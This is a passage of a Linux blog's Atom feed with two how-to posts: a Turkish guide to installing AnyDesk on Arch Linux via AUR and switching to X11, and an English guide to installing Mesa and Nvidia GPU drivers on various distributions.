&lt;p&gt;I hope one day everyone understands the value of free software... Until then, don't share your ID number with anyone! 😎&lt;/p&gt;</content><category term="Geliştirme Araçları"/><category term="arch linux"/><category term="anydesk"/><category term="aur"/><category term="yay"/><category term="rustdesk"/><category term="uzak masaüstü"/></entry><entry><title>Arch Linux'ta AnyDesk Kurulumu: Neden RustDesk Değil de Bu?</title><link href="https://yuceltoluyag.github.io/arch-linux-anydesk-kurulumu-rehberi/" rel="alternate"/><published>2025-11-30T11:45:00+03:00</published><updated>2025-11-30T11:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/arch-linux-anydesk-kurulumu-rehberi/</id><summary type="html">&lt;p&gt;Gönül RustDesk ister ama şirketler ve akrabalar AnyDesk der. Toplumsal baskıya boyun eğip Arch Linux'ta AnyDesk'i en sorunsuz nasıl kurarız?&lt;/p&gt;</summary><content type="html">&lt;p&gt;Biliyorum, &amp;scedil;imdi yorumlarda (ya da i&amp;ccedil;inizden) soracaks&amp;inodot;n&amp;inodot;z: &lt;em&gt;"Yahu hocam, mis gibi a&amp;ccedil;&amp;inodot;k kaynak, kendi sunucunu kurabildi&amp;gbreve;in (self-hosted) &lt;strong&gt;RustDesk&lt;/strong&gt; varken neden kapal&amp;inodot; kaynakl&amp;inodot; AnyDesk?"&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Cevap &amp;ccedil;ok basit ve ac&amp;inodot;: &lt;strong&gt;Mahalle Bask&amp;inodot;s&amp;inodot;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;Scedil;irketteki IT departman&amp;inodot;, uzaktaki kuzen, muhasebeci... Sanki hepsine vahiy inmi&amp;scedil; gibi AnyDesk kullan&amp;inodot;yor. TeamViewer "Ticari kullan&amp;inodot;m tespit ettim, seni at&amp;inodot;yorum" diyerek hepimizi bezdirdi&amp;gbreve;inde, herkes RustDesk'e ge&amp;ccedil;mek yerine topluca AnyDesk'e g&amp;ouml;&amp;ccedil; etti. Sen istedi&amp;gbreve;in kadar "Bak&amp;inodot;n bu &amp;ouml;zg&amp;uuml;r yaz&amp;inodot;l&amp;inodot;m" de, kurumlar ve son kullan&amp;inodot;c&amp;inodot;lar al&amp;inodot;&amp;scedil;kanl&amp;inodot;klar&amp;inodot;n&amp;inodot; de&amp;gbreve;i&amp;scedil;tirmiyor.&lt;/p&gt;
&lt;p&gt;Ben de Arch Linux kullanan biri olarak, "Biz RustDesk kullan&amp;inodot;yoruz" diyemedi&amp;gbreve;im senaryolarda (yani %99'unda) mecburen AnyDesk kurmak zorunda kal&amp;inodot;yorum.&lt;/p&gt;
&lt;p&gt;Peki Arch Linux'ta, Flatpak s&amp;uuml;r&amp;uuml;m&amp;uuml; &amp;ouml;lm&amp;uuml;&amp;scedil;ken (EOL), bunu en temiz, en g&amp;uuml;ncel ve en sorunsuz nas&amp;inodot;l kurar&amp;inodot;z? Gelin &amp;scedil;u "mecburiyet" arac&amp;inodot;n&amp;inodot; kural&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="adm-1-aurun-gucu-ve-yay-yet-another-yogurt"&gt;Ad&amp;inodot;m 1: AUR'un G&amp;uuml;c&amp;uuml; ve YAY (Yet Another Yogurt)&lt;a class="headerlink" href="#adm-1-aurun-gucu-ve-yay-yet-another-yogurt" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AnyDesk resmi depolarda yok. Flatpak s&amp;uuml;r&amp;uuml;m&amp;uuml; de bak&amp;inodot;ms&amp;inodot;z. Elimizde tek ve en g&amp;uuml;&amp;ccedil;l&amp;uuml; kale kal&amp;inodot;yor: &lt;strong&gt;AUR (Arch User Repository).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AUR'u kullanmak i&amp;ccedil;in &lt;code&gt;yay&lt;/code&gt; gibi bir yard&amp;inodot;mc&amp;inodot;ya ihtiyac&amp;inodot;m&amp;inodot;z var. E&amp;gbreve;er sisteminizde zaten varsa bu ad&amp;inodot;m&amp;inodot; atlay&amp;inodot;n. Yoksa, terminali a&amp;ccedil;&amp;inodot;p &amp;scedil;u komutlarla kurun:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;--needed&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;base-devel
&lt;span class="c1"&gt;# Root olmadan &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://aur.archlinux.org/yay.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;yay
makepkg&lt;span class="w"&gt; &lt;/span&gt;-si
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="adm-2-anydeski-indirip-kuralm"&gt;Ad&amp;inodot;m 2: AnyDesk'i &amp;Idot;ndirip Kural&amp;inodot;m&lt;a class="headerlink" href="#adm-2-anydeski-indirip-kuralm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kaynak koddan derlemekle u&amp;gbreve;ra&amp;scedil;mayaca&amp;gbreve;&amp;inodot;z, haz&amp;inodot;r derlenmi&amp;scedil; binary paketi (&lt;code&gt;anydesk-bin&lt;/code&gt;) kuraca&amp;gbreve;&amp;inodot;z ki h&amp;inodot;zl&amp;inodot; olsun.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;anydesk-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kurulum s&amp;inodot;ras&amp;inodot;nda sorular sorarsa &lt;code&gt;Enter&lt;/code&gt; tu&amp;scedil;una bas&amp;inodot;p ge&amp;ccedil;ebilirsiniz. H&amp;inodot;zl&amp;inodot; ve temiz.&lt;/p&gt;
&lt;h2 id="adm-3-wayland-ckmaz-baglanamyorum-sorunu"&gt;Ad&amp;inodot;m 3: Wayland &amp;Ccedil;&amp;inodot;kmaz&amp;inodot; (Ba&amp;gbreve;lanam&amp;inodot;yorum Sorunu!)&lt;a class="headerlink" href="#adm-3-wayland-ckmaz-baglanamyorum-sorunu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te i&amp;scedil;in teknik ve can s&amp;inodot;k&amp;inodot;c&amp;inodot; k&amp;inodot;sm&amp;inodot; buras&amp;inodot;. Modern Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot; (Gnome, KDE vb.) art&amp;inodot;k varsay&amp;inodot;lan olarak &lt;strong&gt;Wayland&lt;/strong&gt; kullan&amp;inodot;yor. Ancak AnyDesk, Wayland ile hala tam rand&amp;inodot;manl&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;am&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;&amp;Ouml;zellikle kar&amp;scedil;&amp;inodot; tarafa "Abi sen hi&amp;ccedil;bir &amp;scedil;eye dokunma, ben ba&amp;gbreve;lan&amp;inodot;p halledece&amp;gbreve;im" diyorsan&amp;inodot;z (Unattended Access), Wayland size kabus ya&amp;scedil;at&amp;inodot;r. Ekran gelmez, mouse &amp;ccedil;al&amp;inodot;&amp;scedil;maz, izin pencereleri &amp;ccedil;&amp;inodot;kar...&lt;/p&gt;
&lt;p&gt;Bu y&amp;uuml;zden, e&amp;gbreve;er sorunsuz bir ba&amp;gbreve;lant&amp;inodot; istiyorsan&amp;inodot;z, &lt;strong&gt;X11 (Xorg)&lt;/strong&gt; kullanmak zorundas&amp;inodot;n&amp;inodot;z.&lt;/p&gt;
&lt;h3 id="gnome-kullanclar-icin-cozum"&gt;Gnome Kullan&amp;inodot;c&amp;inodot;lar&amp;inodot; &amp;Idot;&amp;ccedil;in &amp;Ccedil;&amp;ouml;z&amp;uuml;m:&lt;a class="headerlink" href="#gnome-kullanclar-icin-cozum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;GDM ayar dosyas&amp;inodot;n&amp;inodot; d&amp;uuml;zenleyip Wayland'i devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakaca&amp;gbreve;&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/gdm/custom.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;[daemon]&lt;/code&gt; ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot; alt&amp;inodot;ndaki &amp;scedil;u sat&amp;inodot;r&amp;inodot;n ba&amp;scedil;&amp;inodot;ndaki &lt;code&gt;#&lt;/code&gt; i&amp;scedil;aretini kald&amp;inodot;r&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[daemon]&lt;/span&gt;
&lt;span class="na"&gt;WaylandEnable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="kde-ve-digerleri-icin"&gt;KDE ve Di&amp;gbreve;erleri &amp;Idot;&amp;ccedil;in:&lt;a class="headerlink" href="#kde-ve-digerleri-icin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bilgisayar&amp;inodot; a&amp;ccedil;arken &amp;scedil;ifre ekran&amp;inodot;nda, oturum t&amp;uuml;r&amp;uuml; olarak &lt;strong&gt;"Plasma (X11)"&lt;/strong&gt; veya kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z masa&amp;uuml;st&amp;uuml; ortam&amp;inodot;n&amp;inodot;n X11 versiyonunu se&amp;ccedil;ti&amp;gbreve;inizden emin olun.&lt;/p&gt;
&lt;h2 id="adm-4-servisi-baslat-ve-unut_1"&gt;Ad&amp;inodot;m 4: Servisi Ba&amp;scedil;lat ve Unut&lt;a class="headerlink" href="#adm-4-servisi-baslat-ve-unut" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AnyDesk'i kurduk ama servis &amp;ccedil;al&amp;inodot;&amp;scedil;mazsa ID alamazs&amp;inodot;n&amp;inodot;z veya "A&amp;gbreve;a ba&amp;gbreve;lan&amp;inodot;l&amp;inodot;yor" hatas&amp;inodot; al&amp;inodot;rs&amp;inodot;n&amp;inodot;z. Servisi ba&amp;scedil;lat&amp;inodot;p, her a&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil;ta otomatik &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; sa&amp;gbreve;layal&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;anydesk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;lem tamam! Temiz bir ba&amp;scedil;lang&amp;inodot;&amp;ccedil; i&amp;ccedil;in &lt;code&gt;reboot&lt;/code&gt; at&amp;inodot;n.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="sonuc"&gt;Sonu&amp;ccedil;&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Evet, g&amp;ouml;nl&amp;uuml;m&amp;uuml;z RustDesk'ten yana olsa da, hayat&amp;inodot;n ger&amp;ccedil;ekleri bazen bizi AnyDesk kurmaya zorluyor. Art&amp;inodot;k Arch Linux sisteminiz, &amp;scedil;irketteki Windows makinelerle veya akrabalar&amp;inodot;n&amp;inodot;z&amp;inodot;n bilgisayarlar&amp;inodot;yla "onlar&amp;inodot;n dilinden" konu&amp;scedil;maya haz&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Bir g&amp;uuml;n herkesin &amp;ouml;zg&amp;uuml;r yaz&amp;inodot;l&amp;inodot;m&amp;inodot;n k&amp;inodot;ymetini anlamas&amp;inodot; dile&amp;gbreve;iyle... O g&amp;uuml;ne kadar ID numaran&amp;inodot;z&amp;inodot; kimseyle payla&amp;scedil;may&amp;inodot;n! 😎&lt;/p&gt;</content><category term="Geliştirme Araçları"/><category term="arch linux"/><category term="anydesk"/><category term="aur"/><category term="yay"/><category term="rustdesk"/><category term="uzak masaüstü"/></entry><entry><title>Linux GPU Driver Guide: Stable and Clean Installation for AMD, Intel, and Nvidia</title><link href="https://yuceltoluyag.github.io/en/linux-gpu-driver-rehberi/" rel="alternate"/><published>2025-11-30T11:15:00+03:00</published><updated>2025-11-30T11:15:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/en/linux-gpu-driver-rehberi/</id><summary type="html">&lt;p&gt;Installing drivers on Linux isn't like on Windows. The Mesa 25.1 update, Nvidia DKMS modules, and a special guide for stubborn Debian users are all here.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I know that first moment of shock for everyone moving from Windows to Linux. You open the browser, go to the Nvidia or AMD website, and look for the "Download Driver" button... But wait! That's not how things work in the Linux world. Here, the rules are different, sometimes confusing, but much more logical once you get used to them.&lt;/p&gt;
&lt;p&gt;Today, I'll explain how to check and update your graphics drivers&amp;mdash;the heart of your system&amp;mdash;and how to get through it without seeing that dreaded black screen. Grab your coffee, open the terminal. We're starting.&lt;/p&gt;
&lt;h2 id="important-warnings-dont-skip"&gt;Important Warnings (Don't Skip!)&lt;a class="headerlink" href="#important-warnings-dont-skip" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SteamOS Users:&lt;/strong&gt; If you're using a Steam Deck or SteamOS, take your hands off the keyboard. Valve already sends you the drivers (Mesa) with system updates. You don't need to do anything extra; you might break it. This guide is for other Linux distributions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;General Rule:&lt;/strong&gt; Before diving into driver tasks, completely update your system and restart. Don't say, "Oh, nothing will happen"&amp;mdash;it does. Trust me, I've been there.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="amd-and-intel-side-what-is-mesa"&gt;AMD and Intel Side: What is Mesa?&lt;a class="headerlink" href="#amd-and-intel-side-what-is-mesa" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AMD and Intel users are the "lucky" ones in the Linux world because these cards use &lt;strong&gt;Mesa&lt;/strong&gt;. Mesa isn't just a single driver; it's a massive collection where open-source drivers are gathered.&lt;/p&gt;
&lt;p&gt;Terms you'll hear include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RADV:&lt;/strong&gt; Mesa's AMD Vulkan driver (supported by the community and Valve, usually the best one).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ANV:&lt;/strong&gt; Mesa's Intel Vulkan driver.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMDVLK:&lt;/strong&gt; AMD's own official open-source driver.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My advice (and what most gamers agree on): &lt;strong&gt;Stick with RADV.&lt;/strong&gt; AMDVLK can sometimes cause compatibility issues, while RADV is rock solid.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id="which-mesa-version-am-i-using"&gt;Which Mesa Version am I Using?&lt;a class="headerlink" href="#which-mesa-version-am-i-using" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To find out, we need to send a little whisper to the terminal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;glxinfo&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mesa"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the terminal shouts "Command not found" at you (which it usually does), you need to install these packages:&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Installing glxinfo ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ubuntu/Mint/Debian:&lt;/strong&gt; &lt;code&gt;sudo apt install mesa-utils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arch Linux:&lt;/strong&gt; &lt;code&gt;sudo pacman -S mesa-utils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fedora:&lt;/strong&gt; &lt;code&gt;sudo dnf install glx-utils&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you run the command, you'll get an output like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;OpenGL core profile version string: 4.6 (Core Profile) Mesa 25.0.3-1ubuntu2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That &lt;strong&gt;Mesa 25.0.3&lt;/strong&gt; part right there is your version.&lt;/p&gt;
&lt;h3 id="how-to-update-mesa-critical-update-for-ubuntu-users"&gt;How to Update Mesa? (Critical Update for Ubuntu Users!)&lt;a class="headerlink" href="#how-to-update-mesa-critical-update-for-ubuntu-users" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This part got a bit confusing, but let's clear it up.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu and Derivatives (Mint, etc.):&lt;/strong&gt;
We used to use the Kisak PPA for every version, but things have changed. Due to storage limits, Kisak has &lt;strong&gt;retired older versions (18.04 Bionic, 20.04 Focal, 22.04 Jammy).&lt;/strong&gt; So, if you have an older system, this door is closed to you.&lt;/p&gt;
&lt;p&gt;But the good news is: If you're using &lt;strong&gt;Ubuntu 25.04 (Plucky)&lt;/strong&gt; or &lt;strong&gt;24.10 (Oracular)&lt;/strong&gt;, you can now easily switch to the latest &lt;strong&gt;Mesa 25.1&lt;/strong&gt; version (specifically the 25.1.5 bug-fix release) via the Kisak PPA. Why is this important? Because new &lt;strong&gt;DXVK&lt;/strong&gt; updates now recommend Mesa 25.1. This is a must to avoid performance loss while playing games with Proton.&lt;/p&gt;
&lt;p&gt;In short, if you're using a current version of Ubuntu, boost your system with these commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;add-apt-repository&lt;span class="w"&gt; &lt;/span&gt;ppa:kisak/kisak-mesa
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Arch, Fedora, Manjaro, EndeavourOS:&lt;/strong&gt;
You guys are still kings. Since your system is rolling-release, the latest version of Mesa already comes to you through normal updates. No need for extra adventures.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="nvidia-side-the-temperamental-bride_1"&gt;NVIDIA Side: The Temperamental Bride&lt;a class="headerlink" href="#nvidia-side-the-temperamental-bride" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now we come to the most interesting part. Nvidia is known in the Linux world for its closed-source (proprietary) drivers and sometimes makes us miserable. But we have to install those drivers for performance.&lt;/p&gt;
&lt;h3 id="ubuntu-mint-kubuntu"&gt;Ubuntu / Mint / Kubuntu&lt;a class="headerlink" href="#ubuntu-mint-kubuntu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is the easiest. Open the &lt;strong&gt;"Software &amp;amp; Updates"&lt;/strong&gt; app from the menu, and go to the &lt;strong&gt;"Additional Drivers"&lt;/strong&gt; tab. You'll see the Nvidia drivers there. Select the recommended version and click "Apply."&lt;/p&gt;
&lt;p&gt;Or, if you're a terminal person:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;ubuntu-drivers&lt;span class="w"&gt; &lt;/span&gt;list
sudo&lt;span class="w"&gt; &lt;/span&gt;ubuntu-drivers&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;nvidia:560
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(Of course, replace 560 with the latest version shown in the list.)&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="pop_os"&gt;Pop!_OS&lt;a class="headerlink" href="#pop_os" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The System76 team has solved this. Go into the &lt;strong&gt;Pop!_Shop&lt;/strong&gt;, select the Nvidia driver, and install it. If you downloaded the Nvidia version of the ISO file anyway, the drivers come pre-installed. Comfort level: 100%.&lt;/p&gt;
&lt;h3 id="fedora-requires-a-bit-of-effort"&gt;Fedora (Requires a Bit of Effort)&lt;a class="headerlink" href="#fedora-requires-a-bit-of-effort" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;By its free software philosophy, Fedora does not offer Nvidia drivers by default. You first need to add the &lt;strong&gt;RPM Fusion&lt;/strong&gt; repository.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RPM Fusion Installation:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k"&gt;$(&lt;/span&gt;rpm&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;%fedora&lt;span class="k"&gt;)&lt;/span&gt;.noarch.rpm&lt;span class="w"&gt; &lt;/span&gt;https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k"&gt;$(&lt;/span&gt;rpm&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;%fedora&lt;span class="k"&gt;)&lt;/span&gt;.noarch.rpm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Driver Installation:&lt;/strong&gt;
For modern cards:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;akmod-nvidia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For CUDA support:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;xorg-x11-drv-nvidia-cuda
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Secure Boot Trouble! 🛡️ If Secure Boot is enabled in the BIOS, you need to sign the driver. This process is a total headache (&lt;code&gt;kmodgenca&lt;/code&gt;, &lt;code&gt;mokutil&lt;/code&gt;, etc.). If you don't have a corporate requirement, disabling Secure Boot in the BIOS is the shortest path.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="arch-linux-the-dkms-detail"&gt;Arch Linux (The DKMS Detail!)&lt;a class="headerlink" href="#arch-linux-the-dkms-detail" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The Arch Wiki is a vast ocean on this topic, but let me summarize. It's very important which card you use.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Turing (RTX 20 series) and later:&lt;/strong&gt; Open-source kernel modules are now recommended: &lt;code&gt;nvidia-open&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LTS Kernel Users:&lt;/strong&gt; &lt;code&gt;nvidia-open-lts&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For Those Who "Can't Be Bothered":&lt;/strong&gt; &lt;code&gt;nvidia-open-dkms&lt;/code&gt;. This package automatically compiles the modules regardless of which kernel you use (Zen, LTS, Mainline). Peace of mind.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And most importantly, &lt;strong&gt;32-bit support!&lt;/strong&gt; Most Steam games still need 32-bit libraries.
Open the &lt;code&gt;/etc/pacman.conf&lt;/code&gt; file and uncomment the &lt;code&gt;[multilib]&lt;/code&gt; line by removing the &lt;code&gt;#&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then, update the system and install the drivers with this command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Syu&lt;span class="w"&gt; &lt;/span&gt;nvidia-open-dkms&lt;span class="w"&gt; &lt;/span&gt;lib32-nvidia-utils
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(If you're using an older card, replace &lt;code&gt;nvidia-open&lt;/code&gt; parts with &lt;code&gt;nvidia&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="manjaro-and-endeavouros"&gt;Manjaro and EndeavourOS&lt;a class="headerlink" href="#manjaro-and-endeavouros" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;These distributions make it easy.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manjaro:&lt;/strong&gt; &lt;code&gt;sudo mhwd -a pci nonfree 0300&lt;/code&gt; command performs automatic installation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EndeavourOS:&lt;/strong&gt; There's the &lt;code&gt;nvidia-inst&lt;/code&gt; tool. You can install both the driver and 32-bit support by saying &lt;code&gt;nvidia-inst --32&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="debian-special-section-for-the-stubborn"&gt;Debian (Special Section for the Stubborn)&lt;a class="headerlink" href="#debian-special-section-for-the-stubborn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To be honest, using &lt;strong&gt;Debian Stable&lt;/strong&gt; for gaming is like entering a Formula 1 track with a tractor. The drivers remain very old. But if you say, "I won't give up on Debian; stability is my middle name," I respect that.&lt;/p&gt;
&lt;p&gt;Just for you, I'm leaving the "Quick Installation Recipe" here for impatient Debian warriors. These commands open the &lt;code&gt;non-free&lt;/code&gt; repositories, add the 32-bit architecture, and install Steam and the Nvidia driver.&lt;/p&gt;
&lt;p&gt;After becoming root by typing &lt;code&gt;su -&lt;/code&gt; in the terminal, in order:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Add 32-bit architecture&lt;/span&gt;
dpkg&lt;span class="w"&gt; &lt;/span&gt;--add-architecture&lt;span class="w"&gt; &lt;/span&gt;i386

&lt;span class="c1"&gt;# Edit sources list (You might need to do this manually)&lt;/span&gt;
&lt;span class="c1"&gt;# Add "non-free contrib" to the end of each line in /etc/apt/sources.list.&lt;/span&gt;
&lt;span class="c1"&gt;# (E.g., main non-free contrib)&lt;/span&gt;

&lt;span class="c1"&gt;# And the final blow:&lt;/span&gt;
apt&lt;span class="w"&gt; &lt;/span&gt;update
apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;steam&lt;span class="w"&gt; &lt;/span&gt;nvidia-driver
reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
